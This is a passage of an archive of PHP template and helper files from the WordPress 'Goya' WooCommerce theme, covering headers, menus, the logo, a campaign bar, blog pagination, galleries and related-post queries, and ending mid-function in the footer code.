esc_attr_e( 'No menu assigned', 'goya' ); } ?> <div class="bottom-extras"> <?php do_action( 'goya_after_mobile_menu' ); ?> </div> </div> </div> </nav>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header/header-product-bar.php�������������������������������������������������������������0000644�����������������00000005711�15154650146�0014166 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template file for displaying product sticky bar * * @package Goya */ global $product; $bar_status = get_theme_mod('product_sticky_bar', true); $catalog_mode = get_theme_mod('shop_catalog_mode', false); remove_all_actions('woocommerce_before_add_to_cart_form'); remove_all_actions('woocommerce_after_add_to_cart_form'); remove_all_actions('woocommerce_before_variations_form'); remove_all_actions('woocommerce_before_single_variation'); remove_all_actions('woocommerce_after_single_variation'); remove_all_actions('woocommerce_after_variations_form'); remove_all_actions('woocommerce_before_add_to_cart_button'); remove_all_actions('woocommerce_before_add_to_cart_quantity'); remove_all_actions('woocommerce_after_add_to_cart_quantity'); remove_all_actions('woocommerce_after_add_to_cart_button'); // Wrapper for quantity and add to cart button if ( $product->is_type( 'grouped' ) ) { add_action('woocommerce_before_add_to_cart_button', 'goya_wishlist_div_open', 1); } else { add_action('woocommerce_before_add_to_cart_quantity', 'goya_wishlist_div_open', 1); } add_action('woocommerce_after_add_to_cart_button', 'goya_extra_div_close', 2); $trigger_only = apply_filters('goya_sticky_atc_trigger_only', get_theme_mod('product_sticky_bar_trigger_only', false) ); // Exclude some product types $product_types = array( 'mix-and-match', 'bundle', ); $exclusions = apply_filters( 'goya_product_bar_exclusions', $product_types ); ?> <?php if ( is_product() && $bar_status == true && $catalog_mode == false && !in_array($product->get_type(), $exclusions) ) { ?> <div class="sticky-product-bar <?php if ($trigger_only == true) { echo esc_attr( 'trigger-only' ); } ?>"> <div class="container"> <div class="row"> <div class="col-12"> <div class="sticky-product-bar-content sticky-product-type-<?php echo esc_attr( $product->get_type() ); ?>"> <div class="sticky-product-bar-image"> <?php if ( has_post_thumbnail() ) { $image = get_the_post_thumbnail( $post->ID, apply_filters( 'goya_sticky_product_thumbnail_size', 'woocommerce_thumbnail' ) ); echo apply_filters( 'goya_sticky_product_details_html', $image, $post->ID ); } ?> </div> <div class="sticky-product-bar-title"><h4><?php echo esc_attr( $product->get_title() ); ?></h4></div> <?php if ( $product->is_type( 'grouped' ) || $product->is_type( 'variable' ) || $trigger_only == true && !$product->is_type( 'external' )) { ?> <a href="#" class="sticky_add_to_cart add_to_cart add_to_cart_button button"><?php esc_html_e( 'Add to cart', 'woocommerce' ); ?></a> <?php } ?> <?php if ( !$product->is_type( 'grouped' ) && !$trigger_only == true ) { ?> <?php if ( !$product->is_type( 'variable' ) ) { echo '<span class="price">'. $product->get_price_html() . '</span>'; } ?> <?php woocommerce_template_single_add_to_cart() ?> <?php } ?> </div> </div> </div> </div> </div> <?php }�������������������������������������������������������templates/header/fullscreen-menu.php����������������������������������������������������������������0000644�����������������00000003442�15154650146�0013621 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The template for displaying the full screen menu * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Goya */ $menu_mode = ( get_theme_mod('menu_fullscreen_mode', 'light') == 'dark' ) ? 'dark' : 'light'; $menu_style = apply_filters( 'goya_menu_style', $menu_mode ); $classes[] = $menu_style; $classes[] = (get_theme_mod('vertical_bar',true) == true) ? 'has-bar' : 'no-bar'; ?> <nav id="fullscreen-menu" class="side-panel side-menu side-fullscreen-menu <?php echo esc_attr(implode(' ', $classes)); ?>"> <?php do_action( 'goya_vertical_panel_bar' ); ?> <div class="side-panel-content side-panel-mobile custom_scroll"> <div class="container"> <?php do_action( 'goya_before_fullscreen_menu' ); ?> <?php $has_menu = goya_load_menu_location('fullscreen-menu'); if( $has_menu) { wp_nav_menu( array( 'theme_location' => $has_menu, 'container' => false, 'menu_class' => 'mobile-menu big-menu', 'after' => '<span class="et-menu-toggle"></span>', ) ); } ?> <div class="bottom-extras"> <?php do_action( 'goya_after_fullscreen_menu' ); ?> <?php if (get_theme_mod('menu_fullscreen_widget', true) == true ) { dynamic_sidebar( 'offcanvas-menu' ); } echo '<div class="divider"></div>'; if (get_theme_mod('menu_fullscreen_currency', true) == true ) { do_action( 'goya_currency_switcher' ); } if (get_theme_mod('menu_fullscreen_language', true) == true ) { do_action( 'goya_language_switcher' ); } if (get_theme_mod('menu_fullscreen_social', true) == true ) { echo '<div class="fullscreen-menu__divider divider"></div>'; echo goya_social_profiles( 'mobile-social-icons' ); } ?> </div> </div> </div> </nav>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header/header-mobile.php������������������������������������������������������������������0000644�����������������00000000465�15154650146�0013214 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template file for displaying mobile header * * @package Goya */ ?> <?php do_action( 'goya_hamburger', 'mobile' ); ?> <?php get_template_part( 'inc/templates/header-parts/logo' ); ?> <div class="mobile-header-icons"> <?php do_action( 'goya_mobile_header_icons', 'mobile_header' ); ?> </div>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header/header-default.php�����������������������������������������������������������������0000644�����������������00000000412�15154650146�0013361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template file for displaying default header * * @package Goya */ ?> <header id="header" class="<?php echo esc_attr( implode( ' ', (array) apply_filters( 'goya_header_class', array() ) ) ); ?>"> <?php do_action( 'goya_header_inner' ); ?> </header>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header-parts/top-bar.php������������������������������������������������������������������0000644�����������������00000001374�15154650146�0013212 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for displaying the top bar * * @package Goya */ $groups = array( 'left' => goya_meta_config('','top_bar_left', array( array( 'item' => 'social' )) ), 'center' => goya_meta_config('','top_bar_center', array() ), 'right' => goya_meta_config('','top_bar_right', array() ), ); ?> <div id="top-bar" class="et-top-bar top-bar"> <div class="container"> <?php foreach ( $groups as $group => $items ) : ?> <div class="topbar-items topbar-<?php echo esc_attr( $group ); ?>"> <?php foreach ( $items as $item ) { $item['item'] = $item['item'] ? $item['item'] : key( goya_topbar_elements_list() ); goya_topbar_elements( $item['item'] ); } ?> </div> <?php endforeach; ?> </div> </div>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header-parts/account.php������������������������������������������������������������������0000644�����������������00000000257�15154650146�0013301 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for displaying the sign-in * * @package Goya */ if( ! goya_wc_active() ) { return; } ?> <?php do_action( 'goya_get_myaccount_link', true ); ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header-parts/hamburger.php����������������������������������������������������������������0000644�����������������00000000557�15154650146�0013624 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for displaying the hamburger menu icon * * @package Goya */ ?> <div class="hamburger-menu"> <button class="menu-toggle fullscreen-toggle" data-target="hamburger-fullscreen"><span class="bars"><?php get_template_part('assets/img/svg/menu.svg'); ?></span> <span class="name"><?php esc_attr_e( 'Menu', 'goya' ); ?></span></button> </div> �������������������������������������������������������������������������������������������������������������������������������������������������templates/header-parts/wishlist.php�����������������������������������������������������������������0000644�����������������00000000254�15154650146�0013510 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for displaying the wishlist icon * * @package Goya */ if( ! goya_wc_active() ) { return; } do_action( 'goya_quick_wishlist' ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header-parts/menu-secondary.php�����������������������������������������������������������0000644�����������������00000000562�15154650146�0014575 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for display secondary menu * * @package Goya */ ?> <nav id="secondary-menu" class="secondary-navigation navigation"> <?php if (has_nav_menu('secondary-menu')) { ?> <?php wp_nav_menu( array( 'theme_location' => 'secondary-menu', 'container' => false, 'menu_class' => 'secondary-menu et-header-menu', ) ); ?> <?php } ?> </nav>����������������������������������������������������������������������������������������������������������������������������������������������templates/header-parts/cart.php���������������������������������������������������������������������0000644�����������������00000000257�15154650146�0012576 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for displaying the cart icon * * @package Goya */ if( ! goya_wc_active() ) { return; } ?> <?php do_action( 'goya_quick_cart' ); ?> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header-parts/menu-primary.php�������������������������������������������������������������0000644�����������������00000000551�15154650146�0014267 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for display primary menu * * @package Goya */ ?> <nav id="primary-menu" class="main-navigation navigation"> <?php if (has_nav_menu('primary-menu')) { ?> <?php wp_nav_menu( array( 'theme_location' => 'primary-menu', 'container' => false, 'menu_class' => 'primary-menu et-header-menu', ) ); ?> <?php } ?> </nav> �������������������������������������������������������������������������������������������������������������������������������������������������������templates/header-parts/search.php�������������������������������������������������������������������0000644�����������������00000000221�15154650146�0013101 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for displaying the search icon * * @package Goya */ ?> <?php do_action( 'goya_quick_search_button' ); ?> �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header-parts/campaigns.php����������������������������������������������������������������0000644�����������������00000004524�15154650146�0013610 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for displaying the campaign bar * * @package Goya */ $cookie = isset($_COOKIE['et-global-campaign']) ? wp_unslash($_COOKIE['et-global-campaign']) : false; $dismissible = (goya_meta_config('','campaign_bar_dismissible',true) == true) ? 'dismissible' : ''; $campaigns = apply_filters('goya_campaign_bar_items', get_theme_mod( 'campaign_bar_items', array() ) ); $layout = get_theme_mod( 'campaign_layout', 'slider' ); $link_mode = get_theme_mod( 'campaign_links_mode', 'button' ); $autoplay_speed = get_theme_mod( 'campaign_autoplay_speed', 2500 ); $fade = ( get_theme_mod( 'campaign_slider_transition', 'slide' ) == 'fade' ) ? 'true' : 'false'; $attributes = apply_filters('campaign_bar_slider_attributes', array( 'autoplay' => 'true', 'autoplay-speed' => $autoplay_speed, 'fade' => $fade, )); if ( !$cookie ) { ?> <aside class="campaign-bar et-global-campaign"> <div class="container"> <?php if (sizeof($campaigns) > 1 && $layout == 'slider') { ?> <div class="campaign-inner slick" <?php foreach ($attributes as $att => $value) { ?>data-<?php echo esc_attr($att); ?>="<?php echo esc_attr($value); ?>" <?php } ?>> <?php } else { ?> <div class="campaign-inner inline"> <?php } ?> <?php foreach ($campaigns as $campaign) { $text = wp_kses( $campaign['campaign_text'], 'essentials' ); $link = $campaign['campaign_link']; $button = $campaign['campaign_button']; ?> <?php if (!empty($text)) { ?> <div class="et-campaign"> <?php if(!empty($link) && $link_mode != 'button') { ?> <a href="<?php echo esc_url($link); ?>" class="link-<?php echo esc_attr($link_mode); ?>"><?php echo do_shortcode( __($text, 'goya' ) ); ?></a> <?php } else { ?> <?php echo do_shortcode( __($text, 'goya' ) ); ?> <?php if(!empty($link) && $link_mode == 'button') { ?> <a href="<?php echo esc_url($link); ?>" class="link-<?php echo esc_attr($link_mode); ?>"><?php echo esc_html($button); ?></a> <?php } ?> <?php } ?> </div> <?php } ?> <?php } ?> <?php if (sizeof($campaigns) < 1) { echo do_shortcode( wp_kses( get_theme_mod('campaign_bar_content', ''), 'essentials' ) ); } ?> </div> <a href="#" class="et-close <?php echo esc_attr( $dismissible ); ?>" title="<?php esc_attr_e('Close', 'goya'); ?>"></a> </div> </aside> <?php } ?>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������templates/header-parts/logo.php���������������������������������������������������������������������0000644�����������������00000002422�15154650146�0012601 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Template part for displaying the logo * * @package Goya */ $wp_logo_id = get_theme_mod( 'custom_logo' ); // Default WordPress Customizer option $logo = get_theme_mod( 'site_logo', get_template_directory_uri() . '/assets/img/logo-light.png' ); $logo_dark = get_theme_mod( 'site_logo_dark', get_template_directory_uri() . '/assets/img/logo-dark.png' ); $logo_alt = get_theme_mod( 'site_logo_alt', '' ); // Logo if ( !empty( $wp_logo_id ) ) { $image = wp_get_attachment_image_src( $wp_logo_id , 'full' ); $logo = $image[0]; } // Dark Scheme Logo if ( empty($logo_dark) ) { $logo_dark = $logo; } // Alternative Logo $logo_alt_class = get_theme_mod( 'site_logo_alt_use', '' ); ?> <div class="logo-holder"> <a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home" class="logolink <?php echo esc_attr( $logo_alt_class ) ?>"> <?php // Default Logo if ( !empty( $logo ) ) { goya_site_logo($logo,'light'); } else { ?> <h1 class="site-title"><?php bloginfo( 'name' ); ?></h1> <?php } // Dark Scheme Logo if ( !empty( $logo_dark ) ) { goya_site_logo($logo_dark,'dark'); } // Alternative Logo if ( !empty( $logo_alt && $logo_alt_class != '') ) { goya_site_logo($logo_alt,'alt'); } ?> <?php do_action( 'goya_logo_image' ); ?> </a> </div> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������frontend/entry.php����������������������������������������������������������������������������������0000644�����������������00000040370�15154650146�0010250 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* Excerpt filters ---------------------------------------------------------- */ add_filter( 'excerpt_length', 'goya_default_excerpt_length' ); add_filter( 'excerpt_more', 'goya_excerpt_more'); function goya_default_excerpt_length( $length ) { return 50; } function goya_short_excerpt_length() { return 28; } function goya_mini_excerpt_length() { return 10; } function goya_excerpt_more($more) { return '…'; } function goya_excerpt($excerpt_length, $added = false) { $text = get_the_excerpt(); $text = str_replace('[...]', '', $text ); $text = mb_substr($text,0,$excerpt_length, "utf-8"); $text = $text.$added; $text = apply_filters( 'the_excerpt', $text ); return $text; } /* Content filters ---------------------------------------------------------- */ /* Remove Empty P tags */ function goya_remove_p($content){ $to_remove = array( '<p>[' => '[', ']</p>' => ']', ']<br />' => ']' ); $content = strtr($content, $to_remove); return $content; } add_filter('the_content', 'goya_remove_p'); /* Parse video embeds */ function goya_video_embed($embed) { global $wp_embed; $html = ''; if ($embed !='') { $html = $wp_embed->run_shortcode('[embed]'.$embed.'[/embed]'); } return $html; } add_filter( 'goya_post_video_embed', 'goya_video_embed' ); /* Post categories ---------------------------------------------------------- */ function goya_the_category_list( $categories, $post_id ) { return array_slice( $categories, 0, 3, true ); } add_filter( 'the_category_list', 'goya_the_category_list', 10, 2 ); /* Blog categories menu ---------------------------------------------------------- */ function goya_blog_category_menu() { global $wp_query; $current_cat = ( is_category() ) ? $wp_query->queried_object->cat_ID : ''; // Categories order $orderby = 'slug'; $order = 'asc'; $orderby = get_theme_mod('blog_categories_orderby', 'name'); $order = get_theme_mod('blog_categories_order', 'asc'); $args = array( 'type' => 'post', 'orderby' => $orderby, 'order' => $order, 'hide_empty' => ( get_theme_mod('blog_categories_hide_empty', true ) == true ) ? 1 : 0, 'hierarchical' => 1, 'taxonomy' => 'category' ); $categories = get_categories( $args ); $current_class_set = false; $categories_output = ''; foreach ( $categories as $category ) { if ( $current_cat == $category->cat_ID ) { $current_class_set = true; $current_class = ' class="current-cat"'; } else { $current_class = ''; } $category_link = get_category_link( $category->cat_ID ); $categories_output .= '<li' . $current_class . '><a href="' . esc_url( $category_link ) . '">' . esc_attr( $category->name ) . '</a></li>'; } $categories_count = count( $categories ); // "All" category class attr $current_class = ( $current_class_set ) ? '' : ' class="current-cat"'; $output = '<div class="et-blog-categories-wrap">'; $output .= '<ul id="et-blog-categories-list" class="et-blog-categories-list"><li' . $current_class . '><a href="' . esc_url( get_permalink( get_option( 'page_for_posts' ) ) ) . '">' . esc_html__( 'All', 'goya' ) . '</a></li>' . $categories_output . '</ul>'; $output .= '</div>'; return $output; } /* Blog Pagination ---------------------------------------------------------- */ function goya_blog_pagination() { $blog_pagination_style = get_theme_mod('blog_pagination_style','button'); if ($blog_pagination_style == 'regular') { ?> <div class="row align-center"> <div class="col-12 col-md-10 col-lg-9"> <?php the_posts_pagination(array( 'prev_text' => '<span>← '.esc_html__( "Prev", 'goya' ).'</span>', 'next_text' => '<span>'.esc_html__( "Next", 'goya' ).' →</span>', 'mid_size' => 1 )); ?> </div> </div> <?php } else { ?> <div class="row pagination-space et-infload-controls et-blog-infload-controls <?php echo esc_attr( $blog_pagination_style ); ?>-mode"> <div class="col-12"> <a href="#" class="et-infload-btn et-blog-infload-btn button outlined" title="<?php esc_attr_e('Load More', 'goya'); ?>"><?php esc_html_e( 'Load More', 'goya' ); ?></a> <a class="et-infload-to-top et-blog-infload-to-top"><?php esc_html_e( 'All posts loaded.', 'goya' ); ?></a> </div> </div> <?php } } add_action( 'goya_blog_pagination', 'goya_blog_pagination',3 ); function goya_pagination_style () { $pagination_style = get_theme_mod('blog_pagination_style','button'); $infload = ($pagination_style !== 'regular') ? 'blog-infload' : ''; $pagination_style = 'pagination-'.$pagination_style. ' '. $infload; return $pagination_style; } /* Posts Prev/Next ---------------------------------------------------------- */ function goya_post_navigation() { $prev = get_previous_post(); $next = get_next_post(); $class = ($prev && $next) ? 'col-md-6' : 'col-12'; $post_type = get_post_type( get_the_ID() ); $nav_style = apply_filters('goya_post_navigation_style', goya_meta_config($post_type,'navigation','simple')); ?> <div class="et_post_nav nav-style-<?php echo esc_attr( $nav_style ); ?>"> <div class="row"> <div class="nav-item <?php echo esc_attr( $class ); ?>"> <?php if ($prev) { $image_id = get_post_thumbnail_id($prev->ID); $image_link = wp_get_attachment_image_src($image_id, 'medium_large'); ?> <a href="<?php echo esc_url(get_permalink($prev->ID)); ?>" class="post_nav_link prev"> <?php if ($image_id && $nav_style == 'image') { ?><div class="nav_post_bg" style="background-image: url(<?php echo esc_attr($image_link[0]); ?>);"></div><?php } ?> <?php get_template_part( 'assets/img/svg/arrow-left.svg' ); ?> <div class="text"> <strong> <?php esc_html_e('Previous', 'goya'); ?> </strong> <h3><?php echo apply_filters( 'post_navigation', $prev->post_title); ?></h3> </div> </a> <?php } ?> </div> <div class="nav-item <?php echo esc_attr( $class ); ?>"> <?php if ($next) { $image_id = get_post_thumbnail_id($next->ID); $image_link = wp_get_attachment_image_src($image_id, 'medium_large'); ?> <a href="<?php echo esc_url(get_permalink($next->ID)); ?>" class="post_nav_link next"> <?php if ($image_id && $nav_style == 'image') { ?><div class="nav_post_bg" style="background-image: url(<?php echo esc_attr($image_link[0]); ?>);"></div><?php } ?> <?php get_template_part( 'assets/img/svg/arrow-right.svg' ); ?> <div class="text"> <strong> <?php esc_html_e('Next', 'goya'); ?> </strong> <h3><?php echo apply_filters( 'post_navigation', $next->post_title); ?></h3> </div> </a> <?php } ?> </div> </div> </div> <?php } add_action( 'goya_post_navigation', 'goya_post_navigation' ); /* Post Author ---------------------------------------------------------- */ function goya_author_info($id) { $id = $id ? $id : get_the_author_meta( 'ID' ); ?> <div id="authorpage" class="author_info"> <?php echo get_avatar( $id , '140'); ?> <div class="author-content"> <div class="author_name"><a href="<?php echo esc_url(get_author_posts_url( $id )); ?>" class="author-link"><?php the_author_meta('display_name', $id ); ?></a></div> <?php if(get_the_author_meta('description', $id ) != '') { ?> <div class="author_description"><?php the_author_meta('description', $id ); ?></div> <?php } ?> <?php if(get_the_author_meta('url', $id ) != '') { ?> <a href="<?php echo esc_url(get_the_author_meta('url', $id )); ?>" class="auhor-icon" target="_blank"><span class="et-icon et-link"></span></a> <?php } ?> <?php if(get_the_author_meta('twitter', $id ) != '') { ?> <a href="<?php echo esc_url(get_the_author_meta('twitter', $id )); ?>" class="auhor-icon twitter" target="_blank"><span class="et-icon et-twitter"></span></a> <?php } ?> <?php if(get_the_author_meta('facebook', $id ) != '') { ?> <a href="<?php echo esc_url(get_the_author_meta('facebook', $id )); ?>" class="auhor-icon facebook" target="_blank"><span class="et-icon et-facebook"></span></a> <?php } ?> <?php if(get_the_author_meta('googleplus', $id ) != '') { ?> <a href="<?php echo esc_url(get_the_author_meta('googleplus', $id )); ?>" class="auhor-icon google-plus" target="_blank"><span class="et-icon et-google-plus"></span></a> <?php } ?> </div> </div> <?php } add_action( 'goya_author_info', 'goya_author_info',3 ); /* Blog slider on blog home/archive ---------------------------------------------------------- */ add_filter( 'goya_get_blog_slider_output', 'goya_get_blog_slider' ); function goya_get_blog_slider( $post_id, $image_size ) { $slider = get_post_gallery( $post_id, false ); if ( $slider ) { $slider_id = "et-blog-slider-{$post_id}"; $image_ids = explode( ',', $slider['ids'] ); $post_permalink = get_permalink(); $slider = "<div id='$slider_id' class='et-wp-gallery et-blog-slider carousel slick slick-slider slick-controls-gray slick-dots-inside slick-dots-centered slick-dots-active-small' data-columns='1' data-navigation='true' data-pagination='true'>"; foreach ( $image_ids as $image_id ) { $image_src = wp_get_attachment_image_src( $image_id, $image_size ); $slider .= '<div><a href="' . esc_url( $post_permalink ) . '"><img src="' . esc_url( $image_src[0] ) . '" width="' . esc_attr( $image_src[1] ) . '" height="' . esc_attr( $image_src[2] ) . '" /></a></div>'; } $slider .= "</div>\n"; } return $slider; } /* Post format icons ---------------------------------------------------------- */ function goya_post_format_icon( $post_id ) { $format = get_post_format( $post_id ); $count = 0; $gallery = array(); if ( $format == 'video' ) { $icon = 'play'; } else if ( $format == 'gallery' || $format == 'image') { $icon = 'camera'; if ( rwmb_meta( 'goya_post_featured_gallery') !== '' ) { $gallery = rwmb_meta( 'goya_post_featured_gallery', array( 'size' => 'full' ) ); if (!empty($gallery) ) { $count = count($gallery); } } } else { $icon = ''; } if ( $icon != '' ) { echo '<span class="post-format-icon">'; if ($count > 0 ) { echo '<span class="count">'. esc_attr($count) . '</span>'; } get_template_part('assets/img/svg/'. $icon .'.svg'); echo '</span>'; } } /* Check if Metabox is active ---------------------------------------------------------- */ if ( ! function_exists( 'rwmb_meta' ) ) { function rwmb_meta( $key, $args = '', $post_id = null ) { return false; } } /* Convert WP Gallery to slider * WP gallery (override via action) * Note: Code inside "// WP default" comments is located in: "../wp-includes/media.php" ("gallery_shortcode()" function) */ function goya_wp_gallery( $val, $attr ) { $post = get_post(); static $instance = 0; $instance++; $atts = shortcode_atts( array( 'order' => 'ASC', 'orderby' => 'menu_order ID', 'id' => $post ? $post->ID : 0, 'itemtag' => '', 'icontag' => '', 'captiontag' => '', 'columns' => 2, 'size' => 'goya-rectangle-x2', 'include' => '', 'exclude' => '', 'link' => '' ), $attr, 'gallery' ); $id = intval( $atts['id'] ); if ( ! empty( $atts['include'] ) ) { $_attachments = get_posts( array( 'include' => $atts['include'], 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'] ) ); $attachments = array(); foreach ( $_attachments as $key => $val ) { $attachments[$val->ID] = $_attachments[$key]; } } elseif ( ! empty( $atts['exclude'] ) ) { $attachments = get_children( array( 'post_parent' => $id, 'exclude' => $atts['exclude'], 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'] ) ); } else { $attachments = get_children( array( 'post_parent' => $id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => $atts['order'], 'orderby' => $atts['orderby'] ) ); } if ( empty( $attachments ) ) { return ''; } if ( is_feed() ) { $output = "\n"; foreach ( $attachments as $att_id => $attachment ) { $output .= wp_get_attachment_link( $att_id, $atts['size'], true ) . "\n"; } return $output; } $gallery_id = "et-wp-gallery-{$instance}"; $slider_settings_data = ' data-pagination="true" data-navigation="true" data-autoplay="true" data-columns="' . intval( $atts['columns'] ) . '"'; $output = "<div id='$gallery_id' class='et-wp-gallery et-blog-slider slick slick-slider slick-controls-gray slick-dots-inside'" . $slider_settings_data . ">"; foreach ( $attachments as $id => $attachment ) { $image_src = wp_get_attachment_image_src( $id, $atts['size'] ); $output .= '<div><img src="' . esc_url( $image_src[0] ) . '" width="' . esc_attr( $image_src[1] ) . '" height="' . esc_attr( $image_src[2] ) . '" /></div>'; } $output .= "</div>\n"; return $output; } /* Related Posts ---------------------------------------------------------- */ // Related Blog Posts function goya_get_blog_posts_related_by_taxonomy($post_id, $args=array()) { $tags = wp_get_post_tags($post_id); $query = new WP_Query(); if (count($tags)) { $tagIDs = array(); $tagcount = count($tags); for ($i = 0; $i < $tagcount; $i++) { $tagIDs[$i] = $tags[$i]->term_id; } $args = wp_parse_args($args,array( 'tag__in' => $tagIDs, 'post__not_in' => array($post_id), 'ignore_sticky_posts'=> 1, 'posts_per_page' => get_theme_mod('single_post_related_per_page', 3), 'no_found_rows' => true )); $query = new WP_Query($args); wp_reset_postdata(); } return $query; } // Related Posts by Category function goya_get_posts_related_by_category($post_id, $args=array()) { $post_type = get_post_type( $post_id ); $args = wp_parse_args($args,array( 'post_type' => $post_type, 'post__not_in' => array($post_id), 'ignore_sticky_posts'=> 1, 'orderby' => 'rand', 'posts_per_page' => get_theme_mod('single_post_related_per_page', 3), 'no_found_rows' => true )); if ($post_type == 'portfolio') { $terms = get_the_terms( $post_id, 'portfolio-category'); if (!empty($terms)) { foreach ($terms as $term) { $post_categories[] = $term->slug; } $args['tax_query'] = array(array( 'taxonomy' => 'portfolio-category', 'field' => 'slug', 'terms' => $post_categories, )); } } else { $post_categories = wp_get_post_categories( $post_id ); $args['category__in'] = $post_categories; } $query = new WP_Query($args); wp_reset_postdata(); return $query; } /* Portfolio */ // Portfolio: number of columns if (! function_exists('goya_get_portfolio_columns')) { function goya_get_portfolio_columns($columns = 3) { switch($columns) { case '6': $columns = 'col-12 col-md-4 col-lg-2'; break; case '4': $columns = 'col-12 col-md-4 col-lg-3'; break; case '3': $columns = 'col-12 col-lg-4'; break; case '2': $columns = 'col-12 col-lg-6'; break; default: break; } return $columns; } } /* Register Elementor Locations */ function goya_register_elementor_locations( $elementor_theme_manager ) { $elementor_theme_manager->register_location( 'header' ); $elementor_theme_manager->register_location( 'footer' ); } add_action( 'elementor/theme/register_locations', 'goya_register_elementor_locations' ); /* Translatable strings filters */ add_filter( 'portfolio_all_translation', function(){ return $text = esc_html__('All', 'goya' ); }); add_filter( 'share_translation', function(){ return $text = esc_html__('Share', 'goya' ); }); /* WC Ajax Product Filter * Added here to make it easier to translate from goya.pot * instead of creating a new file for the plugin */ add_filter( 'wcapf_min_price_text', function(){ return $text = esc_html__('Min Price:', 'goya' ); }); add_filter( 'wcapf_max_price_text', function(){ return $text = esc_html__('Max Price:', 'goya' ); }); add_filter( 'wcapf_search_for_text', function(){ return $text = esc_html__('Search For:', 'goya' ); }); add_filter( 'wcapf_order_by_text', function(){ return $text = esc_html__('Order By:', 'goya' ); }); add_filter( 'wcapf_order_by_values', function(){ return $val = array( 'popularity' => esc_html__( 'popularity', 'goya' ), 'rating' => esc_html__( 'rating', 'goya' ), 'date' => esc_html__( 'latest', 'goya' ), 'price' => esc_html__( 'price low to high', 'goya' ), 'price-desc' => esc_html__( 'price high to low', 'goya' ), ); }); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������frontend/footer.php���������������������������������������������������������������������������������0000644�����������������00000013101�15154650146�0010375 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* Footer Build ---------------------------------------------------------- */ function goya_footer_build() { $portfolio_footer = is_singular('portfolio') ? get_theme_mod('portfolio_footer', false) : true; $post_footer = is_singular('post') ? get_theme_mod('post_footer', true) : true; $page_footer = get_post_meta(get_queried_object_id(), 'goya_page_disable_footer', true); $display_footer = ( $portfolio_footer && $post_footer && !$page_footer ) ? true : false; $checkout_style = goya_meta_config('','checkout_style','free'); if ( $display_footer ) { ?> <footer id="colophon" class="footer site-footer <?php echo esc_attr( get_theme_mod('footer_widgets_mode', 'light') ); ?>"> <?php $footer_middle = get_theme_mod('footer_middle_position', 'after'); // Footer Middle: before if ( $footer_middle == 'before') { get_template_part( 'inc/templates/footer/footer', 'middle' ); } // Footer Widgets get_template_part( 'inc/templates/footer/footer', 'widgets' ); // Footer Middle: after if ( $footer_middle != 'before') { get_template_part( 'inc/templates/footer/footer', 'middle' ); } // Footer bar get_template_part( 'inc/templates/footer/footer', 'bar' ); ?> </footer> <?php } } add_action( 'goya_footer', 'goya_footer_build' ); /* Footer Columns ---------------------------------------------------------- */ function goya_footer_columns() { $columns = 